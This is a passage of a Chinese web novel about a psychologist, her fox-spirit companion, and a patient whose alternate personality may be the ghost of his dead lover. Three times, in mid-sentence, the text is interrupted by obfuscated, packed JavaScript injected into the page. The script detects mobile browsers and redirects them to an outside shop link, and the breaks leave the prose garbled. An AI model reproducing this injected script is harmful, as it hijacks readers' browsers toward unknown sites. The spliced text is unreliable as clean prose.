“她前阵子回国,我和她已经见过面了,”段琅然点点头,“您说得对,我和她本就没有仇,没必要因为那些事情一直僵着关系。” 李教授欣慰地点头,想了想问:“那你现在,有什么打算吗?” “嗯?打算么......现在这样就挺好的啊。有稳定的工作,收入也不错,养我一个人绰绰有余,还能养活它呢。” 段琅然眼神指向窗边,眼神变得更加温柔。 “你和我说这些话,我可很难相信哦?”李教授抿了一口咖啡。 她从包里拿出来一个大号牛皮信封,递给段琅然。 “你也不是喜欢绕弯子的人,看看这个吧,也许对你有帮助。” 段琅然愣了一下,盯着那个信封,一时间不知道自己该不该打开。 她能猜出里面会是什么,但以她现在的成就,以她给教授带来的价值,她认为自己应该是配不上这个东西的。 “教授,我......” 李教授了然地笑了:“不用跟我客气。我是年纪大了,名利啊钱财啊对我来讲不重要,但你们年轻人不一样,年轻,就要带着一股冲劲去闯才是,就要干一番事业,就要赚钱,这样等你老了,采用像我这样不在乎名利的底气。” 段琅然皱眉。 她看看那个信封,又看向她的教授。 教授温柔地朝她点头。 “你看吧,不为了你自己赚钱,你就当是为了那个小家伙吧。” 她看向窗台,程小满瘫在那里晒太阳,树叶随着风飘落,从窗户飞进来,落在程小满的身上。 “我听说这个小家伙养起来挺费钱的吧?” 段琅然苦笑。 程小满现在都要沦为她赚钱的动力了吗? “好,我看看,就先看看吧。” 李教授给她的是投资方的联系方式,还有......钱。 “这,这是......”段琅然顿时慌了神,指着那张卡,半天说不出话。 李教授像是早就预料到了段琅然的反应,哈哈笑起来:“是我自己的私人资产,不用担心。这点算是我对你的投资,你要是今天收下了,我就算是你的原始股东,以后赚了钱啊,要给我分红的知道吗?” 段琅然又翻了投资人的信息,拼拼凑凑,确认了李教授的意图。 她想让段琅然自己出来单干,开一家心理诊所。 “我现在真的待得挺好的,老师您真的没必要......” “有必要,你的天赋那么好,能力那么强,给别人打工多屈才,多影响你做研究发文章啊?还是自己当老板自在一点。而且你研究生的时候不就跟我说,你以后想要开一家心理诊所,要帮很多的病人......你都忘记啦?” 提起旧事,段琅然一时没了话。 上学时候的“梦想”在现在的她看来,和黑历史没差别。那时候什么都不懂,说自己的志向像是许愿一样,全然没有思考过走出象牙塔之后的人生会变成什么样子。 “离开学校之后,我的人生这么差劲吗......” 话说出口,段琅然的鼻子发酸,一时哽咽。 “哎,不要哭嘛,没什么好哭的。差劲什么差劲,刚才不是还说自己的工作很好,叫我别来帮你吗?怎么,才过去几分钟,一下子变成差劲啦?” 李教授的手落在段琅然头上,她红着眼睛抬头,对上教授那双温柔的眼睛。 眼泪再也无法控制,啪嗒啪嗒地掉在桌面上。 “好啦好啦,我也不是故意要提以前的事情。就是怕你啊,在外面摸爬滚打久了,忘记自己以前是什么样子了。” “不管走得多远,别把自己给丢下了,别把自己给忘记了,好不好?” 晚上,段琅然在灯下仔细地看着那叠资料。 李教授在里面写得非常详细,包括怎么走流程、申请专业执照,比旅游攻略还要详细的创业攻略,就这样平铺直叙地展现在段琅然的眼前。 程小满趴在旁边。他看不懂那些资料,却能看懂段琅然的心情。 “她以前是不是就对你很好?” 段琅然把程小满抱过来:“她,她是一个很好的老师,她对我就像......像妈妈一样。你说,她为什么要对非亲非故的我总是这么好,我让她失望, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17540034|203913||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她还要帮我,为什么啊......” 程小满陷入了思考。 “算了,跟你说这些你也不会懂吧。你们妖精有那么长的寿命,是不是很多事情都和我们人类不一样呢。” “我忽然想起来了一些事情。”程小满的声音听上去很严肃。 “你想起来?什么事?” “我以前好像也有一个老师,教我用法术的......但是我不记得其他了,长什么样子我不记得,教了我什么我也不记得,但我记得他对我很好,就是很好。” 程小满得出了一个结论:“所以妖精也是有老师的,和人类一样。” 段琅然“噗嗤”一下笑出来:“你想了半天,就是想起来这些事啊?” “突然想起来,和你说说嘛。” “行吧,以后我要开诊所养你了,开心不?” 程小满的眼皮耷拉下来,有点无语:“你本来就能养得起我,不用开诊所。” “明天,那个多重人格的患者要来,你得帮着我点。” “要怎么帮?” “把你能看到的都告诉我,就用上次哪种方法......你看程知乐和杨弋时候,你用那个法术跟我说话的方法。” 段琅然想了想:“但是这么高级的东西,怎么以前没见你用过啊?” “以前妖力太弱,用了容易晕过去。最近......想了点办法补了点妖力,就能用了。但是不能说太多,说太多还是会晕过去。” “哦......那下次让你用法术念出师表,不......念离骚给我听。” 程小满气得蹬腿:“你滥用我的法术的话,我要罢工的。” 段琅然笑着挠他痒痒。 这样的日子,不知多久没有过了,段琅然很怀念。 “医生,我很想念他。” 患者的话让段琅然从短暂的回忆里走出来,她看向眼前的人。 今天他的自称是“喻景荣”,应该是这具身体的初始人格。 “他离开,是什么时候的事情?” “十年了。” 段琅然记录病例的手一抖。 “这么久了吗......” “我前段时间去看过他,他还是在那朝我笑,就那样笑......”喻景荣说话时嘴唇都在颤抖,“笑得一动不动,但还是很好看。” “您的伴侣是......”段琅然觉得这个问题似乎有些冒犯,,却又不得不确认一下,“是什么性别?” “哦,一直没跟您说,太抱歉了,他是男的。对,我们是您想的那样。” 段琅然刻意表现出略微的震惊,点了点头:“没关系的,现在这早就不是精神疾病了,我们会尊重患者的取向。” “但我最近总觉得他其实还在,好像没有离开......所以就来找您了,也不知道我这是不是病,不知道要不要治。” 段琅然真的很想直接告诉他,对,他成了你的另一个人格。但是目前患者似乎对第二人格毫无察觉,直接说出来容易让患者陷入惊恐或者崩溃,非常危险。 “他还在,那不应该是一件好事吗?为什么,要觉得这是一种病呢?也许这世上就是......有鬼魂一说的呢?” 12. 患者常寻(五) 死去的人究竟是不是还存在于这个世界上呢? 如果是的话,又是以什么形式出现的呢? 这是所有活着的人都好奇的问题。 “他真的还在吗......他还在这个世界上。他还在......他还在......” 患者有些自我怀疑地反复念叨这几个字,迷茫地望向段琅然。 段琅然和他对视的一瞬间,被那种眼神击中。 思绪似乎回到了她的十岁,在那一年她失去了自己的奶奶。 奶奶生前说,如果她死去了,会变成窗台边上的绿萝,照看着段琅然。 在奶奶真的离开后,那盆绿萝当真如她老人家所说,枝繁叶茂,叶片也反常地没有追逐阳光,一点点往段琅然的桌面上长,直到某天深夜,碰到了正在学习的段琅然的肩膀。 那时候她也想过,会不会奶奶真的还存在于这个世界上,只是她看不到,任何人都看不到。 “从科学的角度,他不在了。但是从爱的角度,他永远都活着。” 段琅然放下手里的资料,平静地看着他:“现在,我有两条路放在你面前,你自己做选择吧。” 患者的眼神出现了害怕的感觉,段琅然并不意外,沉声继续说:“看你过往的病例,你的身体很痛苦,经常有失眠、躯体化这样的现象。我知道病因,但是治疗过程可能会比现状痛苦千倍万倍,而且......” 段琅然犹豫了。 这样残酷的话,究竟要不要跟一个随时可能崩溃的重症患者说。 她拿不定主意。 这时候程小满的声音出现在脑海中:“他现在的心态比较平静,可以说,而且要趁早说,时间越久他越可能自己胡思乱想,反而加重病情。” 段琅然便没有再停顿,直言:“而且经过这个治疗之后,你很可能就感觉不到他的存在了......” 患者忽然笑了。 不知算是无奈还是释然的笑容。 “我其实都知道。我看见他,那都是我的幻觉,至于我感觉他还在......那恐怕是我的另一个人格吧?” 段琅然手上动作一顿:“你既然都能感觉到,为什么还要一直对医生隐瞒此事呢?我看到你之前的病例......你对你之前的主治医生也没有袒露实情。” “都是不得已才会做出的事情......这种麻烦的病,治也治不好吧,但医生总会说,治疗会有用,会有用......有用的话,也不会十年了还这样,一点用都没有。” 段琅然脸上浮现了轻微的不悦:“患者,既然您做好决定了要来看病,还是应该听取一下医生的建议。从您健康的角度,我也会建议进行治疗的。只要这个治疗能坚持下去,不出半年,你的身体状况会比以前有非常明显的好转。” “但是他就永远死了。” 段琅然噤声。 “十年前,我亲手看着他被烧成一捧灰。现在,我也要亲手把他的灵魂送走吗......” “本就是我有愧于他......” 患者低头,眼眶泛红,泪水却始终不肯掉下来。 “当年他的死并不是意外。” 眼前的患者忽然像抓住救命稻草一般,紧紧抓住段琅然的手臂。 “医生,医生,求你救救我......救救我,我不想再被他们抓回去,所以我才会托杨医生,让她把我送到你这里来。你一定要和他们说我在接受治疗,这样,他们就再没有理由把我抓回去了。” “他们?”段琅然皱眉,“他们是谁?是你的家人?” 患者颤抖着点了点头:“是,他们一直想让我回去,在那边接受治疗。但是太痛了......我受不了。” 段琅然把他的手缓缓掰开,放下去:“你慢慢说,你和你的家人之间有什么矛盾,我如果有能力,一定会帮助你的。” 段琅然本人的人脉和交际就很广泛,更不必说背后还有个段家这样无法忽视的势力。 就算段琅然不怎么回家,就算她和父母闹得不算愉快,但他们到底还是父母和女儿,只要事关段琅然,她父母出手时绝对不会犹豫一秒钟。 “医生,我要说的话可能,可能会听起来很奇怪,但是......但是请你先听完吧。” “你说,只要没有犯罪,我都是可以接受的。” “我们家,其实不算是正经做生意发家的,我们家是靠捉妖......杨医生家也是做这个的,您应该对这一行有所了解。” 段琅然“啊”了一声:“你们家,也是?做这个的?” 怎么自从她捡了一只妖精回家,全世界的捉妖师都吻上来了。 “所以他们对你管得很严,是吧?” 患者点了点头。 “那这些事,和你的病,和你去世的伴侣常寻之间,也有关系吗?” 患者抬头,眼里带着一股愤恨。 恨意似乎藏了许多年,透露出一股陈旧。又因为多年来的治疗,那股恨软绵绵的,不复曾经的尖锐。 “常寻就是他们开车撞死的。” 段琅然常年坐在这个位置上,对大量的信息接受良好。饶是如此,在听见着一连串的话时,她还是有种脑子转不过来的感觉。 “我不知道常寻让他们哪里不满,以至于他们要动用这种极端的手段。如果只是为了拆散我们两个男的......”他不屑地一笑,“那还真是窝囊啊,当年不惜开车撞死他,现在居然还要找男的跟我相亲了。” “会不会是因为他和你们家族之间有什么过节呢?” “你觉得他其实是妖?”患者摇摇头,“不会的,我验过,他是人类没错,我们养的猫也不是妖。” “你可以再说一遍吗,你姓什么?” 忽然冒出来的男性声音把两个人都吓了一跳,注意到是程小满开口后,患者并不意外。 “我姓喻,家喻户晓的喻。” 程小满听到他说的话,脑子里莫名炸开了一大堆的信息,复杂到令他头疼。 “我可能想起了什么事情......” “哦,我忘记说了,曾经常寻是在我家的公司上班,不知道这个信息对你是否有帮助?” 程小满喃喃:“K城喻家......你就是那个离经叛道、出逃国外的小少爷吧?” 段琅然看看这边,又看看那边:“你们两个在说什么啊?” “你知道我们家的事情?” 程小满转头,无奈地对段琅然说:“段医 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17540035|203913||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 生,我想不起其他,但是他的情绪告诉我,如果你不帮他,他可能真的要走投无路了。” 段琅然立刻答应下来:“我可以帮你掩盖,对外声称你在我这里接受治疗。但是作为交换,你可能要给我身边这位......小师傅,提供一些信息。” 程小满看了段琅然一眼,段琅然得意地挑了下眉毛。 “以免误会,我自我介绍一下吧。”程小满觉得和人打交道还是得有点礼数,便跳下桌子,化作了人形,对患者介绍自己,“我是妖,您应该早就看出来了。只是我丢了很多记忆,现在想要找回来。刚才听了你说的话,我似乎想起来很多事,我猜,我以前可能和你们家人是有来往的。” “能帮助到其他人是我的荣幸。” 一阵风卷起窗外的落叶,三人的目光齐刷刷看向窗外。 “天气马上要暖起来了。” “我好像又闻到了记忆的味道。” “他会不会就在这阵风里......” “那么,喻景荣,我以医生兼朋友的身份询问你,你要进行治疗吗?” 喻景荣沉默不语。 “你要牺牲自己的健康,换取......那些甜蜜的错觉吗?” “医生,”喻景荣苦笑,“在国外治病的这些年,我很少见到他了。前不久,停了治疗,我好像又能看见他了。” “我知道这很蠢,我迷恋自己的幻觉,但是他,我还是很想见他,再见他一面,哪怕......” “哪怕是假的也好。” 段琅然思考了片刻,点点头:“嗯,我会尊重你的个人意愿。但是你也要来定期复查,因为......” 喻景荣忽然出声打断:“抱歉,医生,我要离开了。” 他的笑容僵住,段琅然起先还不明白这笑容的含义,知道过了好几分钟,他又眨了眨眼。 换上了另一幅神态。 “您好,医生,刚才是......是他在,抱歉,我向您隐瞒了这件事情。” “所以现在我应该称呼你......” “常寻。” “好,常寻。”段琅然命苦地合上这份病例,打开另外一份。 “第一次来的时候,是你在和我说话,所以病例档案上也一直写的是你的名字。看现在的情况,似乎你成为了这具身体的主导人格?” 常寻摇头,苦笑:“我不想主导他的身体,但是他总是不愿意出来,我也没办法。” “那您最初来咨询时所说的,就业压力问题,是真实存在,还是别的什么?” 常寻显得局促,不停眨眼睛,过了很久才终于说出完整的一句话。 “医生,我确实想死。这一点我没有欺骗你。” “你......”段琅然面露惊恐,“你是......” “我真的是常寻。” 段琅然一时间头皮发麻。 “那死的那个......” “就是我。” 他语气很沉重:“我的灵魂没有散去,成为了他的人格。即便我很努力想要脱离他的身体,他也一直在拽着我不让我离开。这些年,他不愿放手,也弄得自己很痛苦。” “所以,请杀了我吧,医生。” 13. 常寻的故事[番外] 喻景荣刚起床不久,半梦半醒地洗漱,理自己乱成一团的头发,喷上味道很难闻的发胶,把头发抓出一个造型来。 保姆在厕所外叫他,说西装已经熨烫好,挂在衣架上了。 “少爷,记得别耽误了时间啊。” “知道了,我心里有数。” 他穿上一身很隆重的衣服,坐上家里的车,在一家咖啡馆门口停下。 “我自己进去,你们就别跟着了。” 他今天是来相亲的,他不想第一次跟对方见面就有一堆人看着。 八年前他跟家里出柜,一开始所有人都反对他找男性伴侣,后来他的精神问题越发严重,他母亲大概急于让他找个伴,又或者是意识到能接受他这个身体状况的同龄人和家庭太少了,慢慢地开始接受自己儿子的与众不同。到后来,甚至还给他介绍男性相亲对象。 今天的男嘉宾就是他母亲介绍的,据说是哪个合作方的儿子。他母亲不知道从哪里打听来,说是跟小荣是同类,两家家长一拍即合,就安排他们两个见面。 喻景荣提前到了,等了大约五分钟,对方也到了。 他们很默契地都买了花,那人有些腼腆地把花递给他,在他对面坐下。 “你好,我叫常寻,经常的常,寻找的寻。29岁,律师。平时爱好是滑雪,家里养了两只猫。” 这些喻景荣都从他妈那里得知了,不过出于礼貌,他也自我介绍了一下:“你好,喻景荣,景色的景,繁荣的荣,28岁。平时……没什么长期的爱好,也没有稳定的职业。另外我的情况您应该从我父母那里知道了,我有精神问题。” “这个我知道,”常寻笑着点头,“没关系的,如果可以相处得来,我是说……我们要是有机会在一起的话,我不会介意这个的。” 喻景荣舔了舔嘴唇,又抬头看了看眼前人的脸。 他的长相确实是喻景荣喜欢的那一类。原本这场相亲他不想来的,可看了对方的照片之后,他发现自己好像没办法拒绝。现在见到了真人,比照片还要好看。 “常先生,我觉得还是要坦白跟你说一下。医生给我的诊断是……身份认知障碍,呃,就是通俗讲的人格分裂。但是我身体里的那个人格,它不太像是……不太像是被我创造出来的,不知道你能不能懂。” “……不太能懂。” “我是个唯物者,其实一开始我也不太相信这件事。但我身体里可能真的住着一个陌生人的灵魂。我和他交流的时候,发现我们从小的生长环境和经历完全不同,他说的那些事情,都没有在我身上发生过。” 常寻沉默片刻,斟酌着开口:“我认识做这方面咨询的朋友,据他们所说……您这类疾病,所产生的人格可能确实可能与主人格并不共享记忆。” “不,他不是从小就在我身体里的。十年前,我经历过一场车祸。当时受了重伤,不过没有死。从ICU醒来的时候,他就开始对我说话。他说他是和我的车相撞的那辆车上的人,他死了,不知道为什么进入了我的身体。” 他看到常寻的眼睛露出一些意外的表情,不过好像和从前听到这件事的人反应都不大一样。他没管那些,接着说:“我和他聊了很久,发现我们竟然名字都是一样的,你说这事巧不巧?” 常寻盯着他的笑容,忽然问出了一个很奇怪的问题:“你是说……你身体里那个人,他也叫喻景荣……是吗?” “对啊,怎么了?” “那场车祸,是不是在广禄大道边上,第二条辅路发生的追尾?” 喻景荣难以置信地看向他:“对……你是怎么知道的?” 连他自己都有点不记得当时是发生了什么意外,地点和时间都有些模糊了。 “十年前,我就是在那里,遇到了车祸,失去了一个对我很重要的人……” 他忽然哽咽,偏头调整了好一会的情绪,再回头时,又恢复了从容的神情。 “抱歉,失态了。我也不想跟你隐瞒什么,其实我那个……爱人,他跟你的名字一模一样。原本今天我不想来的,但是我看到了你的名字之后,忽然觉得我们也许有种特殊的缘分,所以就来了。” 喻景荣愣在那里,呆愣了很久,差点都忘记自己在相亲了。 “这么巧……” “我知道你身体里的他,大概率只是被你创造出来的一个人格,但……”常寻眼神飘忽,很艰难地开口,“我想见见他,可以吗?” “可以,可以的,当然可以。” 身体里的那个喻景荣其实一直都在,只是在长期治疗之下,医生说他的主人格已经可以很好地控制副人格,让他只是一个长久陪伴的朋友。所以喻景荣外表看起来其实和常人无异,偶尔失控的时候,才会被副人格夺取身体主权,成为一个完全陌生的人。 不过喻景荣现在越发确定,那不是他的人格,是真实地死在那场车祸里的一个亡魂。他现在应该已经迫不及待想出来了,来见他十年没有见过的爱人。 喻景荣盯着窗口发愣了很久,常寻耐心地等着。过了不知道有多久,喻景荣转过头来看他,眼里盛满了泪水。 - 常寻和喻景荣是高中校友,差了一届,是一次打篮球的时候认识的。 喻景荣其实暗恋这个学长好久了,不敢表露心意,只加了联系方式。他们跟共同朋友经常约着打球,或者出去吃饭,两个人见面次数多了,慢慢熟悉起来,但一直保持着很礼貌的朋友关系。 在一个下大雨的晚上,常寻忽然给他打电话,把喻景荣吓了一跳。他接通电话,电话那头的常寻似乎喝了酒,说话有些醉醺醺的。 “喻景荣……我喜欢你。” 喻景荣愣在那里,被他猝不及防的告白吓得心跳好快。 电话空白了整整五秒钟,喻景荣声音抖着问他:“你是大冒险输了吗?” “没有,什么大冒险,我就是喜欢你!喻景荣我喜欢你,跟我在一起好不好!” 无休无止的雨声里,喻景荣小心翼翼地说:“好。” 他们就在一起了。 喻景荣那时候成绩一般,时常担心他们谈恋爱是否会影响常寻这个大学霸学习,但常寻用自己的成绩单一次次打消了自己男朋友的这个顾虑。 “常寻……你想好以后要干什么了吗?”喻景荣握着手机,看着窗外的月亮,忽然没头脑地问出这个问题。 “我要学法律。我觉得学法律挺好的,我也喜欢这个。” “那……我也要学法律。”喻景荣美滋滋地说。 那时候他完全枉顾家里对他寄予厚望,期待他能继承家学。 他只有十几岁,只想要和自己喜欢的人一起,一起做事,一起求学。 常寻的语气变了,喻景荣都能想象他在电话那头板着脸的样子:“小荣,这种大事不要胡闹啊。选自己喜欢的,适合自己的,跟着我选算什么。” “那我也喜欢法律不行吗?” “你……算了,随你。”笑声顺着电话传到喻景荣的耳朵里。 “哎,我就口嗨。法律就算了吧,我一想到那种背的东西就头痛。你的话……我男朋友这么厉害,肯定想学什么都能学好。” “学么……”电话那头静了静,“大多数都学得来,但有时候发现不知道要怎么谈恋爱,不知道要怎么对你好,怎么学都学不会。” “常寻。” “嗯?” “对自己有点信心好不好?” “你前两天睡着了说的什么梦话你知道吗?” “啊?我还说梦话了?” 躺在常寻身上睡着已经够丢人了,怎么还说梦话啊! “嗯,说了两句。你说……前两天我送你的花好丑。” “我没有觉得丑!真的很好看,挺好看的……也,也能看。”他声音越来越小,说到最后像皮球泄了气。 常寻像是很无奈地,笑着叹了口气:“我会提升审美的,放心,最多一年,还你一个德智体美劳全方面发展的男友。” - “小……小荣?”常寻颤抖着声音,唤着眼前人的名字。 “常寻,坏蛋。”说着,他忽然哭起来,哭得整个人都难以控制地发抖。常寻赶紧拿了纸巾,给他擦眼泪。可泪水源源不断地落下来,刚擦掉,又流出来。 “小荣……是我不好,我那天不该带你出去的。对不起……” 他的眼眶也开始红,拿着纸巾的手垂下来,用指腹摩挲他的脸颊,抹掉脸上的泪水。 “小荣,我没想过我还能再见到你。你那时候还差没几天就过生日了,我礼物都给你准备好了……对不起,对不起,是我没保护好你,小荣,别怨我好不好,哥做的不好,但老天没给我挽回的余地……” “常寻,我很想你,十年了,每一天都很想。不怪你,真的不怪你。”他手忙脚乱地捏着常寻的手,紧张地拍着他的手背。 “在别人身体里的感觉……是什么样的?” “其实……也还好。最开始的时候,他会跟我吵架,我说我死了,他不相信。他好像还是什么……大老板家里的少爷来着,家里好有钱。我有时候跟他偷偷斗嘴,我们能吵一个晚上。他嫌弃我没见过世面,我嫌弃他挑剔。” “那……后来呢?” “后来他家里人发现他有问题,带他去看心理医生,说他人格分裂。然后就吃药,催眠,各种治疗。有时候我觉睡得好好的,被催眠给催醒了……这么说好奇怪啊,总之就是给我叫起来,问我这个问我那个,好烦。” 常寻的泪水淌过整张脸,一滴一滴都落在身上这件价值不菲的西服上,他却好像全然不在乎。 “那你们后来又怎么和好了?” “他跟我谈判,说我要是肯安安静静地在他身体里呆着,他就不跟我吵了。只要在人前让他保持正常就行,没人的地方我随便怎么样,骂他也行。然后……然后我们就达成了共识嘛。他没跟家里说我的来头,不过他们家也请了什么大师给他驱邪,请了好几次,都骗人的,你看不是都没给我赶走?” 他说着说着笑了出来,常寻愣住。 和十年前的他简直一模一样。 “你呢,你有没有做成你当年想做的,大律师?” 常寻含着泪水笑了:“没有大律师,现在还是个没什么名气的小律师。你出事之后我一直不想留在这里,大二下半年就去国外交换了。回国的时候,我交换时候认识的一个华人师姐给我介绍到她的律所实习,后来毕业之后,就留在那里了。” “那以后就是大律师了,常,律,师。” 常寻摸着他的手:“我那时候一直很遗憾,第一次开庭,你没能看见。我第一次就胜诉了,我厉害不厉害?” “厉害啊,我早就说过,你做什么事情都会很厉害的。” “嗯。” “常寻,蛋炒饭……它怎么样了。” 蛋炒饭是常寻养的猫,原本应该是他们一起养的。喻景荣出事前不久,他们刚从朋友那里把蛋炒饭接回家,那时候还是小小一只,刚刚断奶,眼睛都没完全睁开。 蛋炒饭是白黄相间的毛色,喻景荣指着它身上黄色有点偏咖色的花纹,说:“你看,好像蛋炒饭啊。” “那就叫它蛋炒饭好了。” “这么随意吗?”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17540036|203913||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “贱名好养活。” 常寻想起蛋炒饭,有些自责地低下头:“对不起。” “怎么了?” “蛋炒饭前不久去世了。” “啊……” “年纪大了,心脏病,我去洗个澡的功夫,出来看到它身体已经硬了。” “没事,小动物也是有寿命的,它只是去喵星了。” “对不起,我养什么都养不好……” - 喻景荣再一次醒来,已经是第二天早晨了。他看着窗外晃眼的太阳,床头的时钟显示时间是九点半。 昨天从咖啡馆回来是下午三四点,他觉得很累,就躺在床上睡着了。 他竟然一觉睡了那么久。 他踩上拖鞋,拖着身体去洗漱,却听见门外他妈妈在跟人说话。 “他说他要出去相亲?” “呃,对,少爷执意要出门,我们不敢拦着他。” “你们看到什么了?” “夫人,少爷他……昨天对着空气说了好久的话。但他进去之前跟我们说了,不让我们跟着。” 他妈妈沉默了好久。 “我知道了。” 喻景荣脑子很迟钝地想着昨天发生了什么。有点记不清了,他脑子里没什么跟相亲有关的记忆,但是他很清楚地知道自己又见到常寻了。 对着空气说话……好吧。 他无奈地摇了摇头,走进厕所刷牙。 - “小荣啊,最近有什么开心的事情吗?跟我说说?” 刘医生给他做了七八年的心理医生了,对他的情况了如指掌。喻景荣的情况比较复杂,她接手的时候,这孩子已经身上有好几种精神问题了。 根据她的判断,可能是之前接受过操作不当或者过激的治疗,类似于过量电休克治疗。他的病情因为不当的治疗而加重,他的身体也越发脆弱。 这种情况下没办法使用传统的方式进行治疗,但她又受到夫人所托,被要求一定要治好这个孩子,令她也很为难。 “开心的事情啊……我又见到他了,这算不算?” “小荣……这,”刘医生脸色很为难,“我知道,蛋炒饭走了,你的精神大概又会出现不稳定的情况。” “蛋炒饭……十岁对猫来讲,已经是老猫了。生前我把它养的很好,我觉得不算有什么遗憾。况且……蛋炒饭活着时候就大毛病小毛病一堆毛病,走了也好,不痛了,解脱了。” “你能这样想很好。” 喻景荣忽然不说话了,意味不明地盯着刘医生,后者立马意识到不对劲。 “小荣,你现在已经在慢慢变得健康了,努力了这么久,不要放弃自己。” “您放心,我不是说我要解脱。我是想问你,我能不能……不治了,我是说,从今天开始停止一切的治疗。我觉得我现在这样就挺好的。” “治病的过程是很漫长的,要相信科学哦,不要只相信自己的感觉。” “可不可以算是我对您的一种请求。”他低头,有些局促地剥自己手指甲边的肉刺。 “对不起小荣,”刘医生面露难色,“我是你的心理医生,我能做的事情,我要做的事情,只有让你变得健康,心理学定义中的健康。” “可是您知道,那很痛……我每一次都很痛。” 从很多年前第一次高压电流穿过他的身体开始,痛苦就像荆棘一样缠住他的身体。有时候醒来看见夕阳西下,世界是粉色的,他会忽然觉得死在这样的地方也很好,至少不会再痛了。 手上的肉刺被拔下,留下一个红色的印子,血从里面渗出来。 他因为十年前失去常寻而生病,可治疗的痛苦远远超过了失去他的痛苦,这何尝不是一种本末倒置。 如果这样的痛苦可以让他时常见到常寻,他愿意接受这样的痛苦。可恰恰相反,治疗是为了把常寻从他的记忆里抹去。 每一次他产生幻觉,他见到常寻,都会接受一场漫长的,酷刑一般的治疗。在此之后的很长一段时间里,他都见不到常寻,也想不起来曾经的任何事情。 有时候甚至不明白,那究竟是为了他的健康而做的治疗,还是为了惩罚他而设置的刑罚。可喻景荣此人好了伤疤忘了疼,哪怕深刻地知道自己伤痕累累,哪怕知道自己又会经历一场苦难,他还是在见到常寻的时候,会难以控制地,相信这是他的眼睛看到的东西。 “可只有那样你才能变成一个健康的人,我相信常寻也是那样希望的。” 喻景荣又一次沉默了。刘医生不像是医生,像是握着筹码跟他谈判的人。 她很清楚常寻是他的痛点。 “我也想……我也想成为一个正常的,健康的人。”他不知道泪水是什么时候流出来的,冰凉,没有一点生气的液体。 “可是我做不到,我真的做不到。我每次见到他我都会贪心地想留住他,他走了我就想再见一面。”他无助地望向刘医生,想在眼前人的脸上看到哪怕一丝的心软或者怜悯。 她沉默了很久,最终长叹了一声:“小荣啊,那些是假的,都是假的,你明明知道。” 喻景荣看向窗外,花园里的向日葵对着太阳轻轻晃,轻轻晃。 常寻第一次送的花就是向日葵,搭配得是真的丑,但喻景荣也是真的很喜欢向日葵。 他忽然又心软。 常寻会不会就在他身边。 那样的话,他做了十年的游魂。 他会不会太累了。 但……如果忘记他,他是不是就可以好好地走了。 “刘医生,你帮我一个忙,可以吗?” 14. 要陪在她身边 处理常寻的事情费了段琅然太多的精力,但她还有创业开诊所的事情要处理。 教授给推荐的人确实都是厉害的角色,但即便如此,段琅然一个一个联系、商谈、请吃饭,也花了她不少的时间。 期间,她原本诊所的工作还要收尾和交接,几乎忙得脚不沾地,回家沾枕头就能睡着。 夜深人静时分,程小满独自蹲在段琅然的床边,心中思绪一时复杂。 最近段琅然出门都不会带着他,没有患者的时候,程小满就独自待在家里,和满屋子的书大眼瞪小眼。 她很累。 但是程小满竟然连最简单的陪伴都做不到。这令他苦恼。 人类寿命如此短暂,可能终其一生都在奔走忙碌,到头来竟不知几十年光阴所为何事。 程小满挠了挠头。 他是妖,寿命漫长,情感单薄,看着这些活不到一百岁的两脚兽,态度总是带着傲慢。 即便对面的人是段琅然,这种傲慢也没有彻底消除。 先前他思考过这个问题,段琅然的寿命短暂,即便在段琅然死后,他还有很多个一百年要活。 与其说他是段琅然养的宠物,到更像是......段琅然是他养的宠物? 程小满悄悄爬到床上,蜷缩起身子。 他不在乎他们之间是什么关系,主人和宠物也好,雇主和员工也好,朋友也好室友也好,只要是他们两个能在一起,就都无所谓。 程小满浑然不知这个想法对人类而言是相当危险的,更不知道“两个人在一起”在人类文化中所表达的暧昧含义。 他用爪子轻轻抚摸段琅然的后背,把温和的情绪灌进她的身体。 段琅然最近一阵子整个人非常紧绷,事事都在担心自己做不好,程小满推测是和她那位教授的托付有关。 毕竟教授对段琅然而言是非常重要的人,段琅然不想让她对自己失望。 可是总这样下去,段琅然的身体迟早会垮掉。 程小满对她的人生和工作规划毫无发言权,并且因为他们种族有别,他和段琅然的价值观也产生了很大的差异。 于是程小满失去了对段琅然提建议的机会,只能在一旁默默看着这个人类烦闷、焦躁,而无法让她的思想远离“功成名就”的执念。 如此一来,程小满能做的事也就只剩下夜深人静时分,偷偷给段琅然的身体做情绪疏导了。 人类的事务多而繁杂,需要赚钱,需要工作,需要在生意场上应酬。 段琅然一天打十个电话都算是少的,饭局酒局更是司空见惯之事。她酒量不算好,有几次喝得瘫软,都是程知乐松她回来的。 程知乐把人放在床上,盖好被子,喃喃自语一般:“哎,他要是早点找个男朋友就好了。” 程小满不解:“她不是还有你吗?” 